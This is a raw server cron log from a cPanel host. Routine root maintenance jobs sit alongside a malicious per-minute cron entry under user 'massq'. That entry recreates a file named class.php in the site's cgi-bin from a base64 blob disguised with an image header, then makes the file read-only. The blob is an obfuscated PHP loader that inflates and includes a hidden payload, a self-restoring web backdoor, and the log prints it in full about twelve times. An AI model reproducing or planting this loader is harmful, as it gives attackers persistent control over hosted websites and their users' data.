Sep  8 04:16:01 server CROND[27335]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:17:01 server CROND[27711]: (root) CMD (   /usr/libexec/report-command-error /opt/imunify360/venv/share/imunify360/scripts/update_components_versions.py > /dev/null 2>&1)
Sep  8 04:17:01 server CROND[27712]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:17:01 server CROND[27713]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:17:01 server CROND[27714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:18:01 server CROND[28222]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:18:01 server CROND[28221]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:18:01 server CROND[28223]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:19:01 server CROND[28599]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:19:01 server CROND[28600]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:19:01 server CROND[28601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:20:01 server CROND[28992]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 04:20:01 server CROND[28994]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 04:20:01 server CROND[28995]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 04:20:01 server CROND[28997]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 04:20:01 server CROND[28998]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:20:01 server CROND[29001]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:20:01 server CROND[29000]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:20:01 server CROND[29004]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 04:20:01 server CROND[28999]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 04:21:01 server CROND[29926]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:21:01 server CROND[29924]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:21:01 server CROND[29927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:22:01 server CROND[30294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:22:01 server CROND[30295]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:22:01 server CROND[30297]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:23:01 server CROND[30663]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:23:01 server CROND[30662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:23:01 server CROND[30664]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:24:01 server CROND[31044]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:24:01 server CROND[31045]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:24:01 server CROND[31043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:25:01 server CROND[31422]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 04:25:01 server CROND[31423]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 04:25:01 server CROND[31429]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  8 04:25:01 server CROND[31425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:25:01 server CROND[31428]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:25:01 server CROND[31426]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 04:25:01 server CROND[31427]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 04:25:01 server CROND[31430]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:26:01 server CROND[32338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:26:01 server CROND[32339]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:26:01 server CROND[32340]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:27:01 server CROND[32714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:27:01 server CROND[32715]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:27:01 server CROND[32718]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 04:27:01 server CROND[32716]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:28:01 server CROND[643]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
